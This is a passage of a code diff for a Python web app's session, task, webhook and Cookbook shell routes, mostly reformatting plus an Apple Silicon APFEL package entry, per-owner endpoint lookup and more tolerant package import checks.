pass
|
||||
return {"deleted": len(ids)}
|
||||
return {"deleted": deleted_count}
|
||||
|
||||
@router.delete("/session/{sid}")
|
||||
def delete_session(request: Request, sid: str):
|
||||
@@ -924,7 +927,8 @@ def setup_session_routes(session_manager: SessionManager, config: dict, webhook_
|
||||
from src.endpoint_resolver import resolve_endpoint
|
||||
from src.llm_core import llm_call_async
|
||||
|
||||
url, model, headers = resolve_endpoint("utility", owner=get_current_user(request))
|
||||
owner = getattr(session, "owner", None) or effective_user(request)
|
||||
url, model, headers = resolve_endpoint("utility", owner=owner)
|
||||
if not url or not model:
|
||||
url, model, headers = session.endpoint_url, session.model, session.headers
|
||||
if not url or not model:
|
||||
|
||||
+268
-56
@@ -13,6 +13,7 @@ import tempfile
|
||||
from collections import namedtuple
|
||||
from pathlib import Path
|
||||
from typing import Dict, Any
|
||||
from core.platform_compat import IS_APPLE_SILICON, which_tool
|
||||
|
||||
# POSIX-only: `pty`/`fcntl` transitively import `termios`, which does NOT exist
|
||||
# on Windows, so importing them unconditionally crashed app startup there
|
||||
@@ -93,6 +94,7 @@ def _venv_activate_prefix(venv: str | None) -> str:
|
||||
act = venv if venv.endswith("/bin/activate") else venv.rstrip("/") + "/bin/activate"
|
||||
return f". {act} && "
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
PTY_SUPPORTED = pty is not None and fcntl is not None and hasattr(os, "setsid")
|
||||
@@ -170,7 +172,10 @@ def _package_installed_from_probe(name: str, probe: dict) -> bool:
|
||||
and (dists.get("torch") or modules.get("torch", {}).get("real_module"))
|
||||
)
|
||||
if name == "hf_transfer":
|
||||
return bool(dists.get("hf-transfer") or modules.get("hf_transfer", {}).get("real_module"))
|
||||
return bool(
|
||||
dists.get("hf-transfer")
|
||||
or modules.get("hf_transfer", {}).get("real_module")
|
||||
)
|
||||
return bool(dists.get(name) or modules.get(name, {}).get("real_module"))
|
||||
|
||||
|
||||
@@ -195,8 +200,14 @@ def _package_status_note(name: str, probe: dict) -> str:
|
||||
if binaries.get("llama-server"):
|
||||
parts.append(f"native llama-server: {binaries['llama-server']}")
|
||||
if dists.get("llama-cpp-python"):
|
||||
parts.append(f"python package: llama-cpp-python {dists['llama-cpp-python']}")
|
||||
return "; ".join(parts) if parts else "No native llama-server or llama-cpp-python server package found."
|
||||
parts.append(
|
||||
f"python package: llama-cpp-python {dists['llama-cpp-python']}"
|
||||
)
|
||||
return (
|
||||
"; ".join(parts)
|
||||
if parts
|
||||
else "No native llama-server or llama-cpp-python server package found."
|
||||
)
|
||||
if name == "diffusers":
|
||||
if _package_installed_from_probe(name, probe):
|
||||
return f"diffusers {dists.get('diffusers', 'available')} with torch {dists.get('torch', 'available')}"
|
||||
@@ -206,7 +217,9 @@ def _package_status_note(name: str, probe: dict) -> str:
|
||||
return ""
|
||||
|
||||
|
||||
def _package_pip_update_status(pkg: dict, probe: dict | None = None) -> PackageUpdateStatus:
|
||||
def _package_pip_update_status(
|
||||
pkg: dict, probe: dict | None = None
|
||||
) -> PackageUpdateStatus:
|
||||
"""Return whether the Dependencies UI should offer a generic pip update.
|
||||
|
||||
"Installed" means Cookbook can use the dependency. It does not always mean
|
||||
@@ -214,12 +227,28 @@ def _package_pip_update_status(pkg: dict, probe: dict | None = None) -> PackageU
|
||||
native llama-server can come from a package manager/source build, and a CLI
|
||||
may be on PATH without matching Python package metadata.
|
||||
"""
|
||||
if pkg.get("name") == "APFEL":
|
||||
return PackageUpdateStatus(
|
||||
False,
|
||||
"", # Note is empty because IT DOES allow for updates outside of PIP.
|
||||
)
|
||||
|
||||
if pkg.get("kind") == "system" or not pkg.get("pip"):
|
||||
return PackageUpdateStatus(False, "Update this system dependency outside Odysseus.")
|
||||
return PackageUpdateStatus(
|
||||
False, "Update this system dependency outside Odysseus."
|
||||
)
|
||||
|
||||
name = pkg.get("name")
|
||||
binaries = probe.get("binaries") if isinstance(probe, dict) and isinstance(probe.get("binaries"), dict) else {}
|
||||
dists = probe.get("dists") if isinstance(probe, dict) and isinstance(probe.get("dists"), dict) else {}
|
||||
binaries = (
|
||||
probe.get("binaries")
|
||||
if isinstance(probe, dict) and isinstance(probe.get("binaries"), dict)
|
||||
else {}
|
||||
)
|
||||
dists = (
|
||||
probe.get("dists")
|
||||
if isinstance(probe, dict) and isinstance(probe.get("dists"), dict)
|
||||
else {}
|
||||
)
|
||||
|
||||
if name == "llama_cpp" and binaries.get("llama-server"):
|
||||
return PackageUpdateStatus(
|
||||
@@ -232,7 +261,9 @@ def _package_pip_update_status(pkg: dict, probe: dict | None = None) -> PackageU
|
||||
"Using a vLLM CLI on PATH without Python package metadata; update it outside Odysseus.",
|
||||
)
|
||||
|
||||
return PackageUpdateStatus(True, "Update uses pip in the selected Python environment.")
|
||||
return PackageUpdateStatus(
|
||||
True, "Update uses pip in the selected Python environment."
|
||||
)
|
||||
|
||||
|
||||
def _prepend_user_install_bins_to_path() -> None:
|
||||
@@ -251,7 +282,9 @@ def _prepend_user_install_bins_to_path() -> None:
|
||||
candidates = []
|
||||
candidates.append(os.path.expanduser("~/.local/bin"))
|
||||
|
||||
parts = os.environ.get("PATH", "").split(os.pathsep) if os.environ.get("PATH") else []
|
||||
parts = (
|
||||
os.environ.get("PATH", "").split(os.pathsep) if os.environ.get("PATH") else []
|
||||
)
|
||||
changed = False
|
||||
for path in reversed([p for p in candidates if p]):
|
||||
if path not in parts:
|
||||
@@ -358,9 +391,11 @@ PTY_UNSUPPORTED_ERROR = "pty_unsupported"
|
||||
|
||||
class ShellExecRequest(BaseModel):
|
||||
command: str
|
||||
timeout: int | None = None # optional override; 0 = no timeout (run until client disconnects)
|
||||
use_pty: bool = False # use pseudo-TTY (for progress bars)
|
||||
use_tmux: bool = False # run in tmux session (survives browser disconnect)
|
||||
timeout: int | None = (
|
||||
None # optional override; 0 = no timeout (run until client disconnects)
|
||||
)
|
||||
use_pty: bool = False # use pseudo-TTY (for progress bars)
|
||||
use_tmux: bool = False # run in tmux session (survives browser disconnect)
|
||||
|
||||
|
||||
async def _create_shell(command: str, **kwargs):
|
||||
@@ -395,9 +430,7 @@ async def _exec_shell(command: str, timeout: int = EXEC_TIMEOUT) -> Dict[str, An
|
||||
stderr=asyncio.subprocess.PIPE,
|
||||
cwd=str(Path.home()),
|
||||
)
|
||||
stdout_b, stderr_b = await asyncio.wait_for(
|
||||
proc.communicate(), timeout=timeout
|
||||
)
|
||||
stdout_b, stderr_b = await asyncio.wait_for(proc.communicate(), timeout=timeout)
|
||||
stdout = stdout_b.decode(errors="replace")[:MAX_OUTPUT]
|
||||
stderr = stderr_b.decode(errors="replace")[:MAX_OUTPUT]
|
||||
return {"stdout": stdout, "stderr": stderr, "exit_code": proc.returncode}
|
||||
@@ -408,7 +441,11 @@ async def _exec_shell(command: str, timeout: int = EXEC_TIMEOUT) -> Dict[str, An
|
||||
await proc.wait()
|
||||
except ProcessLookupError:
|
||||
pass
|
||||
return {"stdout": "", "stderr": f"Command timed out after {timeout}s", "exit_code": -1}
|
||||
return {
|
||||
"stdout": "",
|
||||
"stderr": f"Command timed out after {timeout}s",
|
||||
"exit_code": -1,
|
||||
}
|
||||
except Exception as e:
|
||||
return {"stdout": "", "stderr": str(e), "exit_code": -1}
|
||||
|
||||
@@ -490,7 +527,7 @@ async def _generate_pty(cmd: str, timeout: int, request: Request):
|
||||
if idx == -1:
|
||||
break
|
||||
line = buf[:idx].decode(errors="replace")
|
||||
buf = buf[idx + sep_len:]
|
||||
buf = buf[idx + sep_len :]
|
||||
if line:
|
||||
yield f"data: {json.dumps({'stream': 'stdout', 'data': line})}\n\n"
|
||||
|
||||
@@ -512,7 +549,7 @@ async def _generate_pty(cmd: str, timeout: int, request: Request):
|
||||
if idx == -1:
|
||||
break
|
||||
line = buf[:idx].decode(errors="replace")
|
||||
buf = buf[idx + sep_len:]
|
||||
buf = buf[idx + sep_len :]
|
||||
if line:
|
||||
yield f"data: {json.dumps({'stream': 'stdout', 'data': line})}\n\n"
|
||||
if buf:
|
||||
@@ -543,6 +580,7 @@ def _pty_read(fd: int) -> bytes | None:
|
||||
"""Blocking read from PTY fd. Called via run_in_executor.
|
||||
Returns bytes on data, None on timeout (no data yet)."""
|
||||
import select
|
||||
|
||||
r, _, _ = select.select([fd], [], [], 1.0)
|
||||
if r:
|
||||
try:
|
||||
@@ -566,10 +604,10 @@ async def _generate_tmux(cmd: str, request: Request):
|
||||
script_path = TMUX_LOG_DIR / f"{session_id}.sh"
|
||||
script_path.write_text(
|
||||
f"#!/bin/bash\n"
|
||||
f"ODYSSEUS_USER_SHELL=\"${{SHELL:-}}\"\n"
|
||||
f"if [ -n \"$ODYSSEUS_USER_SHELL\" ] && [ -x \"$ODYSSEUS_USER_SHELL\" ]; then\n"
|
||||
f" ODYSSEUS_USER_PATH=\"$(\"$ODYSSEUS_USER_SHELL\" -ic 'printf \"__ODYSSEUS_PATH__%s\\n\" \"$PATH\"' 2>/dev/null | sed -n 's/^__ODYSSEUS_PATH__//p' | tail -n 1 || true)\"\n"
|
||||
f" if [ -n \"$ODYSSEUS_USER_PATH\" ]; then export PATH=\"$ODYSSEUS_USER_PATH:$PATH\"; fi\n"
|
||||
f'ODYSSEUS_USER_SHELL="${{SHELL:-}}"\n'
|
||||
f'if [ -n "$ODYSSEUS_USER_SHELL" ] && [ -x "$ODYSSEUS_USER_SHELL" ]; then\n'
|
||||
f' ODYSSEUS_USER_PATH="$("$ODYSSEUS_USER_SHELL" -ic \'printf "__ODYSSEUS_PATH__%s\\n" "$PATH"\' 2>/dev/null | sed -n \'s/^__ODYSSEUS_PATH__//p\' | tail -n 1 || true)"\n'
|
||||
f' if [ -n "$ODYSSEUS_USER_PATH" ]; then export PATH="$ODYSSEUS_USER_PATH:$PATH"; fi\n'
|
||||
f"fi\n"
|
||||
f"{cmd} 2>&1 | tee '{log_path}'\n"
|
||||
f"EC=${{PIPESTATUS[0]}}\n"
|
||||
@@ -579,7 +617,9 @@ async def _generate_tmux(cmd: str, request: Request):
|
||||
encoding="utf-8",
|
||||
)
|
||||
script_path.chmod(0o755)
|
||||
logger.info("tmux wrapper script created: session=%s path=%s", session_id, script_path)
|
||||
logger.info(
|
||||
"tmux wrapper script created: session=%s path=%s", session_id, script_path
|
||||
)
|
||||
|
||||
tmux_cmd = f"tmux new-session -d -s {session_id} {shlex.quote(str(script_path))}"
|
||||
|
||||
@@ -611,7 +651,9 @@ async def _generate_tmux(cmd: str, request: Request):
|
||||
# Read new lines from log
|
||||
try:
|
||||
if log_path.exists():
|
||||
lines = log_path.read_text(encoding="utf-8", errors="replace").splitlines()
|
||||
lines = log_path.read_text(
|
||||
encoding="utf-8", errors="replace"
|
||||
).splitlines()
|
||||
new_lines = lines[lines_sent:]
|
||||
for line in new_lines:
|
||||
if line.startswith(":::EXIT_CODE:::"):
|
||||
@@ -639,7 +681,9 @@ async def _generate_tmux(cmd: str, request: Request):
|
||||
# Session ended — do one final read
|
||||
await asyncio.sleep(0.5)
|
||||
if log_path.exists():
|
||||
lines = log_path.read_text(encoding="utf-8", errors="replace").splitlines()
|
||||
lines = log_path.read_text(
|
||||
encoding="utf-8", errors="replace"
|
||||
).splitlines()
|
||||
for line in lines[lines_sent:]:
|
||||
if line.startswith(":::EXIT_CODE:::"):
|
||||
try:
|
||||
@@ -720,7 +764,9 @@ async def _generate_win_detached(cmd: str, request: Request):
|
||||
return
|
||||
try:
|
||||
if log_path.exists():
|
||||
lines = log_path.read_text(encoding="utf-8", errors="replace").splitlines()
|
||||
lines = log_path.read_text(
|
||||
encoding="utf-8", errors="replace"
|
||||
).splitlines()
|
||||
for line in lines[lines_sent:]:
|
||||
yield f"data: {json.dumps({'stream': 'stdout', 'data': line})}\n\n"
|
||||
lines_sent = len(lines)
|
||||
@@ -732,11 +778,18 @@ async def _generate_win_detached(cmd: str, request: Request):
|
||||
await asyncio.sleep(0.3)
|
||||
try:
|
||||
if log_path.exists():
|
||||
lines = log_path.read_text(encoding="utf-8", errors="replace").splitlines()
|
||||
lines = log_path.read_text(
|
||||
encoding="utf-8", errors="replace"
|
||||
).splitlines()
|
||||
for line in lines[lines_sent:]:
|
||||
yield f"data: {json.dumps({'stream': 'stdout', 'data': line})}\n\n"
|
||||
lines_sent = len(lines)
|
||||
exit_code = int((exit_path.read_text(encoding="utf-8", errors="replace").strip() or "0"))
|
||||
exit_code = int(
|
||||
(
|
||||
exit_path.read_text(encoding="utf-8", errors="replace").strip()
|
||||
or "0"
|
||||
)
|
||||
)
|
||||
except Exception:
|
||||
exit_code = 0
|
||||
break
|
||||
@@ -762,7 +815,9 @@ def setup_shell_routes() -> APIRouter:
|
||||
return {"stdout": "", "stderr": "No command provided", "exit_code": 1}
|
||||
|
||||
logger.info("User shell exec requested: length=%d", len(cmd))
|
||||
result = await _exec_shell(cmd, timeout=req.timeout if req.timeout is not None else EXEC_TIMEOUT)
|
||||
result = await _exec_shell(
|
||||
cmd, timeout=req.timeout if req.timeout is not None else EXEC_TIMEOUT
|
||||
)
|
||||
return result
|
||||
|
||||
@router.post("/api/shell/stream")
|
||||
@@ -771,9 +826,11 @@ def setup_shell_routes() -> APIRouter:
|
||||
_require_admin(request)
|
||||
cmd = req.command.strip()
|
||||
if not cmd:
|
||||
|
||||
async def empty():
|
||||
yield f"data: {json.dumps({'stream': 'stderr', 'data': 'No command provided'})}\n\n"
|
||||
yield f"data: {json.dumps({'exit_code': 1})}\n\n"
|
||||
|
||||
return StreamingResponse(empty(), media_type="text/event-stream")
|
||||
|
||||
timeout = req.timeout if req.timeout is not None else STREAM_TIMEOUT
|
||||
@@ -790,7 +847,11 @@ def setup_shell_routes() -> APIRouter:
|
||||
if use_tmux:
|
||||
# tmux is POSIX-only; Windows uses a detached-process + logfile tail
|
||||
# that preserves the "survives disconnect" behaviour.
|
||||
gen = _generate_win_detached(cmd, request) if IS_WINDOWS else _generate_tmux(cmd, request)
|
||||
gen = (
|
||||
_generate_win_detached(cmd, request)
|
||||
if IS_WINDOWS
|
||||
else _generate_tmux(cmd, request)
|
||||
)
|
||||
return StreamingResponse(gen, media_type="text/event-stream")
|
||||
|
||||
if use_pty and not IS_WINDOWS:
|
||||
@@ -822,7 +883,12 @@ def setup_shell_routes() -> APIRouter:
|
||||
chunk = await stream.read(4096)
|
||||
if not chunk:
|
||||
if buf:
|
||||
await q.put((name, buf.decode(errors="replace").rstrip("\r\n")))
|
||||
await q.put(
|
||||
(
|
||||
name,
|
||||
buf.decode(errors="replace").rstrip("\r\n"),
|
||||
)
|
||||
)
|
||||
break
|
||||
buf += chunk
|
||||
while True:
|
||||
@@ -830,7 +896,7 @@ def setup_shell_routes() -> APIRouter:
|
||||
if idx == -1:
|
||||
break
|
||||
line = buf[:idx].decode(errors="replace")
|
||||
buf = buf[idx + sep_len:]
|
||||
buf = buf[idx + sep_len :]
|
||||
if line:
|
||||
await q.put((name, line))
|
||||
finally:
|
||||
@@ -889,7 +955,12 @@ def setup_shell_routes() -> APIRouter:
|
||||
return StreamingResponse(generate(), media_type="text/event-stream")
|
||||
|
||||
@router.get("/api/cookbook/packages")
|
||||
async def list_packages(request: Request, host: str | None = None, ssh_port: str | None = None, venv: str | None = None):
|
||||
async def list_packages(
|
||||
request: Request,
|
||||
host: str | None = None,
|
||||
ssh_port: str | None = None,
|
||||
venv: str | None = None,
|
||||
):
|
||||
"""Check which optional packages are installed.
|
||||
|
||||
Local-target packages are checked in-process. Remote-target packages
|
||||
@@ -899,7 +970,13 @@ def setup_shell_routes() -> APIRouter:
|
||||
"""
|
||||
_require_admin(request)
|
||||
_reject_cross_site(request)
|
||||
import importlib, importlib.metadata as importlib_metadata, shlex, json as _json, site, sys
|
||||
import importlib
|
||||
import importlib.metadata as importlib_metadata
|
||||
import shlex
|
||||
import json as _json
|
||||
import site
|
||||
import sys
|
||||
|
||||
_prepend_user_install_bins_to_path()
|
||||
importlib.invalidate_caches()
|
||||
try:
|
||||
@@ -914,26 +991,115 @@ def setup_shell_routes() -> APIRouter:
|
||||
raise HTTPException(400, "Invalid ssh_port")
|
||||
packages = [
|
||||
# ── System ── OS binaries, not pip packages
|
||||
{"name": "tmux", "pip": "", "desc": "Required for Linux/Termux Cookbook background downloads and serves", "category": "System", "target": "remote", "kind": "system", "install_hint": "Run Cookbook server setup, or install tmux with apt/pacman/dnf/apk/zypper."},
|
||||
{"name": "docker", "pip": "", "desc": "Required only for Docker-backed launch commands", "category": "System", "target": "remote", "kind": "system", "install_hint": "Install Docker on the selected server and allow this user to run docker."},
|
||||
{
|
||||
"name": "tmux",
|
||||
"pip": "",
|
||||
"desc": "Required for Linux/Termux Cookbook background downloads and serves",
|
||||
"category": "System",
|
||||
"target": "remote",
|
||||
"kind": "system",
|
||||
"install_hint": "Run Cookbook server setup, or install tmux with apt/pacman/dnf/apk/zypper.",
|
||||
},
|
||||
{
|
||||
"name": "docker",
|
||||
"pip": "",
|
||||
"desc": "Required only for Docker-backed launch commands",
|
||||
"category": "System",
|
||||
"target": "remote",
|
||||
"kind": "system",
|
||||
"install_hint": "Install Docker on the selected server and allow this user to run docker.",
|
||||
},
|
||||
# ── LLM ── installs on GPU servers for model serving/downloading
|
||||
{"name": "hf_transfer", "pip": "hf_transfer", "desc": "Fast model downloads from HuggingFace", "category": "LLM", "target": "remote"},
|
||||
{"name": "llama_cpp", "pip": "llama-cpp-python[server]", "desc": "Serve GGUF models via llama.cpp", "category": "LLM", "target": "remote"},
|
||||
{"name": "sglang", "pip": "sglang[all]", "desc": "Serve HF safetensors models via SGLang", "category": "LLM", "target": "remote"},
|
||||
{"name": "vllm", "pip": "vllm", "desc": "High-throughput LLM serving engine", "category": "LLM", "target": "remote"},
|
||||
{
|
||||
"name": "hf_transfer",
|
||||
"pip": "hf_transfer",
|
||||
"desc": "Fast model downloads from HuggingFace",
|
||||
"category": "LLM",
|
||||
"target": "remote",
|
||||
},
|
||||
{
|
||||
"name": "llama_cpp",
|
||||
"pip": "llama-cpp-python[server]",
|
||||
"desc": "Serve GGUF models via llama.cpp",
|
||||
"category": "LLM",
|
||||
"target": "remote",
|
||||
},
|
||||
{
|
||||
"name": "sglang",
|
||||
"pip": "sglang[all]",
|
||||
"desc": "Serve HF safetensors models via SGLang",
|
||||
"category": "LLM",
|
||||
"target": "remote",
|
||||
},
|
||||
{
|
||||
"name": "vllm",
|
||||
"pip": "vllm",
|
||||
"desc": "High-throughput LLM serving engine",
|
||||
"category": "LLM",
|
||||
"target": "remote",
|
||||
},
|
||||
{
|
||||
"name": "APFEL",
|
||||
"pip": "",
|
||||
"desc": "OpenAI-compatible API for Apple Foundational Models on Apple Silicon",
|
||||
"category": "LLM",
|
||||
"target": "local",
|
||||
"kind": "system",
|
||||
"install_cmd": "brew install apfel",
|
||||
"update_cmd": "brew upgrade apfel",
|
||||
"install_hint": "Requires a native Apple Silicon Mac with Apple Foundational Models support. Installable via Homebrew on supported Macs.",
|
||||
},
|
||||
# ── Image ── editor + diffusion model serving
|
||||
{"name": "diffusers", "pip": "diffusers[torch]", "desc": "Image generation pipelines (SD, Flux) with PyTorch", "category": "Image", "target": "remote"},
|
||||
{"name": "rembg", "pip": "rembg[gpu]", "desc": "AI background removal for image editor", "category": "Image", "target": "local"},
|
||||
{"name": "realesrgan", "pip": "realesrgan", "desc": "AI denoise + upscale (Real-ESRGAN). Used by editor's Denoise and Upscale tools.", "category": "Image", "target": "local"},
|
||||
{
|
||||
"name": "diffusers",
|
||||
"pip": "diffusers[torch]",
|
||||
"desc": "Image generation pipelines (SD, Flux) with PyTorch",
|
||||
"category": "Image",
|
||||
"target": "remote",
|
||||
},
|
||||
{
|
||||
"name": "rembg",
|
||||
"pip": "rembg[gpu]",
|
||||
"desc": "AI background removal for image editor",
|
||||
"category": "Image",
|
||||
"target": "local",
|
||||
},
|
||||
{
|
||||
"name": "realesrgan",
|
||||
"pip": "realesrgan",
|
||||
"desc": "AI denoise + upscale (Real-ESRGAN). Used by editor's Denoise and Upscale tools.",
|
||||
"category": "Image",
|
||||
"target": "local",
|
||||
},
|
||||
# ── Tools ──
|
||||
{"name": "playwright", "pip": "playwright", "desc": "Browser automation for web tools", "category": "Tools", "target": "local"},
|
||||
{
|
||||
"name": "playwright",
|
||||
"pip": "playwright",
|
||||
"desc": "Browser automation for web tools",
|
||||
"category": "Tools",
|
||||
"target": "local",
|
||||
},
|
||||
]
|
||||
|
||||
# Most packages should not be installed through external means. Hence, set the default of the
|
||||
# install_cmd and update_cmd to None, which indicates that the recommended way to install/update is through the Cookbook # server setup or pip. Only system packages, should have explicit install/update commands provided.
|
||||
for pkg in packages:
|
||||
pkg.setdefault("install_cmd", None)
|
||||
pkg.setdefault("update_cmd", None)
|
||||
# Remote check: for remote-target packages, probe the selected server's
|
||||
# venv over SSH so a remote `pip install` actually reflects here.
|
||||
remote_status: dict = {}
|
||||
remote_details: dict = {}
|
||||
remote_names = [p["name"] for p in packages if p.get("target") == "remote" and p.get("kind") != "system"]
|
||||
remote_system_names = [p["name"] for p in packages if p.get("target") == "remote" and p.get("kind") == "system"]
|
||||
remote_names = [
|
||||
p["name"]
|
||||
for p in packages
|
||||
if p.get("target") == "remote" and p.get("kind") != "system"
|
||||
]
|
||||
remote_system_names = [
|
||||
p["name"]
|
||||
for p in packages
|
||||
if p.get("target") == "remote" and p.get("kind") == "system"
|
||||
]
|
||||
if host and remote_names:
|
||||
try:
|
||||
py = _package_probe_script(remote_names)
|
||||
@@ -943,7 +1109,9 @@ def setup_shell_routes() -> APIRouter:
|
||||
inner = f"{src}python3 -c {shlex.quote(py)}"
|
||||
argv = _ssh_base_argv(host, ssh_port) + [inner]
|
||||
proc = await asyncio.create_subprocess_exec(
|
||||
*argv, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE
|
||||
*argv,
|
||||
stdout=asyncio.subprocess.PIPE,
|
||||
stderr=asyncio.subprocess.PIPE,
|
||||
)
|
||||
out, _err = await asyncio.wait_for(proc.communicate(), timeout=12)
|
||||
txt = out.decode("utf-8", errors="replace").strip()
|
||||
@@ -967,11 +1135,15 @@ def setup_shell_routes() -> APIRouter:
|
||||
checks = []
|
||||
for name in remote_system_names:
|
||||
qn = shlex.quote(name)
|
||||
checks.append(f"if command -v {qn} >/dev/null 2>&1; then echo {qn}=1; else echo {qn}=0; fi")
|
||||
checks.append(
|
||||
f"if command -v {qn} >/dev/null 2>&1; then echo {qn}=1; else echo {qn}=0; fi"
|
||||
)
|
||||
inner = " ; ".join(checks)
|
||||
argv = _ssh_base_argv(host, ssh_port) + [inner]
|
||||
proc = await asyncio.create_subprocess_exec(
|
||||
*argv, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE
|
||||
*argv,
|
||||
stdout=asyncio.subprocess.PIPE,
|
||||
stderr=asyncio.subprocess.PIPE,
|
||||
)
|
||||
out, _err = await asyncio.wait_for(proc.communicate(), timeout=12)
|
||||
txt = out.decode("utf-8", errors="replace").strip()
|
||||
@@ -996,11 +1168,25 @@ def setup_shell_routes() -> APIRouter:
|
||||
if note:
|
||||
pkg["status_note"] = note
|
||||
elif pkg.get("kind") == "system":
|
||||
pkg["installed"] = shutil.which(pkg["name"]) is not None
|
||||
if pkg["name"] == "APFEL":
|
||||
pkg["applicable"] = IS_APPLE_SILICON
|
||||
pkg["installed"] = which_tool("apfel") is not None
|
||||
pkg["status_note"] = (
|
||||
"Available on Apple Silicon (arm64) devices; exposed through a local OpenAI-compatible API."
|
||||
if IS_APPLE_SILICON
|
||||
else "Requires a native Apple Silicon Mac with Apple Foundational Models support."
|
||||
)
|
||||
else:
|
||||
pkg["installed"] = shutil.which(pkg["name"]) is not None
|
||||
elif pkg["name"] == "llama_cpp" and shutil.which("llama-server"):
|
||||
pkg["installed"] = True
|
||||
pkg["status_note"] = f"native llama-server: {shutil.which('llama-server')}"
|
||||
probe = {"binaries": {"llama-server": shutil.which("llama-server")}, "dists": {}}
|
||||
pkg["status_note"] = (
|
||||
f"native llama-server: {shutil.which('llama-server')}"
|
||||
)
|
||||
probe = {
|
||||
"binaries": {"llama-server": shutil.which("llama-server")},
|
||||
"dists": {},
|
||||
}
|
||||
elif pkg["name"] == "vllm":
|
||||
_vllm_cli = shutil.which("vllm")
|
||||
pkg["installed"] = _vllm_cli is not None
|
||||
@@ -1023,6 +1209,12 @@ def setup_shell_routes() -> APIRouter:
|
||||
pkg["installed"] = False
|
||||
except importlib_metadata.PackageNotFoundError:
|
||||
pkg["installed"] = False
|
||||
except Exception:
|
||||
# Installed but crashes on import — e.g. a CUDA build of
|
||||
# llama-cpp-python raising FileNotFoundError when the CUDA
|
||||
# toolkit dir is absent. One broken optional package must not
|
||||
# 500 the entire packages panel; report it as not usable.
|
||||
pkg["installed"] = False
|
||||
|
||||
if pkg.get("installed"):
|
||||
update_status = _package_pip_update_status(pkg, probe)
|
||||
@@ -1046,15 +1238,30 @@ def setup_shell_routes() -> APIRouter:
|
||||
"""Install a package via pip. Admin only — pip install is effectively code exec."""
|
||||
_require_admin(request)
|
||||
import sys as _sys
|
||||
|
||||
body = await request.json()
|
||||
pip_name = body.get("pip")
|
||||
if not pip_name:
|
||||
return {"ok": False, "error": "No package specified"}
|
||||
# Validate against known packages to prevent arbitrary pip install
|
||||
known = {
|
||||
"rembg[gpu]", "hf_transfer", "llama-cpp-python[server]", "sglang[all]", "diffusers", "diffusers[torch]",
|
||||
"TTS", "bark", "faster-whisper", "playwright", "realesrgan", "gfpgan",
|
||||
"insightface", "onnxruntime-gpu", "onnxruntime", "hdbscan", "vllm",
|
||||
"rembg[gpu]",
|
||||
"hf_transfer",
|
||||
"llama-cpp-python[server]",
|
||||
"sglang[all]",
|
||||
"diffusers",
|
||||
"diffusers[torch]",
|
||||
"TTS",
|
||||
"bark",
|
||||
"faster-whisper",
|
||||
"playwright",
|
||||
"realesrgan",
|
||||
"gfpgan",
|
||||
"insightface",
|
||||
"onnxruntime-gpu",
|
||||
"onnxruntime",
|
||||
"hdbscan",
|
||||
"vllm",
|
||||
}
|
||||
if pip_name not in known:
|
||||
return {"ok": False, "error": f"Unknown package: {pip_name}"}
|
||||
@@ -1080,6 +1287,7 @@ def setup_shell_routes() -> APIRouter:
|
||||
"""
|
||||
_require_admin(request)
|
||||
from routes.cookbook_helpers import _llama_cpp_rebuild_cmd
|
||||
|
||||
body = await request.json()
|
||||
engine = str(body.get("engine") or "llamacpp").strip()
|
||||
if engine != "llamacpp":
|
||||
@@ -1088,7 +1296,11 @@ def setup_shell_routes() -> APIRouter:
|
||||
ssh_port = body.get("ssh_port")
|
||||
cmd = _llama_cpp_rebuild_cmd()
|
||||
try:
|
||||
argv = (_ssh_base_argv(host, ssh_port) + [cmd]) if host else ["bash", "-lc", cmd]
|
||||
argv = (
|
||||
(_ssh_base_argv(host, ssh_port) + [cmd])
|
||||
if host
|
||||
else ["bash", "-lc", cmd]
|
||||
)
|
||||
except ValueError as e:
|
||||
raise HTTPException(400, str(e))
|
||||
try:
|
||||
|
||||
@@ -291,20 +291,24 @@ def setup_task_routes(task_scheduler) -> APIRouter:
|
||||
def _owner(request: Request):
|
||||
return get_current_user(request)
|
||||
|
||||
async def _generate_task_name(prompt: str) -> str:
|
||||
async def _generate_task_name(prompt: str, owner: Optional[str] = None) -> str:
|
||||
"""Use LLM to generate a short task name from the prompt."""
|
||||
try:
|
||||
from src.llm_core import llm_call_async
|
||||
from core.database import Session as DbSession
|
||||
db = SessionLocal()
|
||||
try:
|
||||
recent = db.query(DbSession).filter(
|
||||
q = db.query(DbSession).filter(
|
||||
DbSession.endpoint_url.isnot(None),
|
||||
DbSession.model.isnot(None),
|
||||
).order_by(DbSession.created_at.desc()).first()
|
||||
)
|
||||
if owner:
|
||||
q = q.filter(DbSession.owner == owner)
|
||||
recent = q.order_by(DbSession.created_at.desc()).first()
|
||||
if not recent:
|
||||
return prompt[:50].strip()
|
||||
url, model = recent.endpoint_url, recent.model
|
||||
headers = recent.headers or {}
|
||||
finally:
|
||||
db.close()
|
||||
|
||||
@@ -315,6 +319,7 @@ def setup_task_routes(task_scheduler) -> APIRouter:
|
||||
{"role": "user", "content": prompt[:500]},
|
||||
],
|
||||
max_tokens=20,
|
||||
headers=headers,
|
||||
timeout=15,
|
||||
)
|
||||
title = result.strip().strip('"\'').strip()
|
||||
@@ -479,7 +484,7 @@ def setup_task_routes(task_scheduler) -> APIRouter:
|
||||
from src.builtin_actions import BUILTIN_ACTION_INFO
|
||||
name = BUILTIN_ACTION_INFO.get(req.action, req.action or "Action Task")
|
||||
elif req.prompt:
|
||||
name = await _generate_task_name(req.prompt)
|
||||
name = await _generate_task_name(req.prompt, owner=user)
|
||||
else:
|
||||
name = "Untitled Task"
|
||||
|
||||
|
||||
@@ -194,6 +194,8 @@ def setup_webhook_routes(
|
||||
"together": "https://api.together.xyz/v1",
|
||||
"openrouter": "https://openrouter.ai/api/v1",
|
||||
"ollama": "https://ollama.com/api",
|
||||
"opencode-zen": "https://opencode.ai/zen/v1",
|
||||
"opencode-go": "https://opencode.ai/zen/go/v1",
|
||||
"fireworks": "https://api.fireworks.ai/inference/v1",
|
||||
"venice": "https://api.venice.ai/api/v1",
|
||||
}
|
||||
|
||||
@@ -76,9 +76,10 @@ def _detect_nvidia():
|
||||
global _last_gpu_error
|
||||
_last_gpu_error = None
|
||||
out = _run(["nvidia-smi", "--query-gpu=memory.total,name", "--format=csv,noheader,nounits"])
|
||||
# Remote fallback: a non-interactive SSH shell often has a minimal PATH
|
||||
# that omits where nvidia-smi lives (/usr/bin, /usr/local/cuda/bin), so the
|
||||
# first call silently returns nothing → "No GPU" on hosts that DO have GPUs.
|
||||
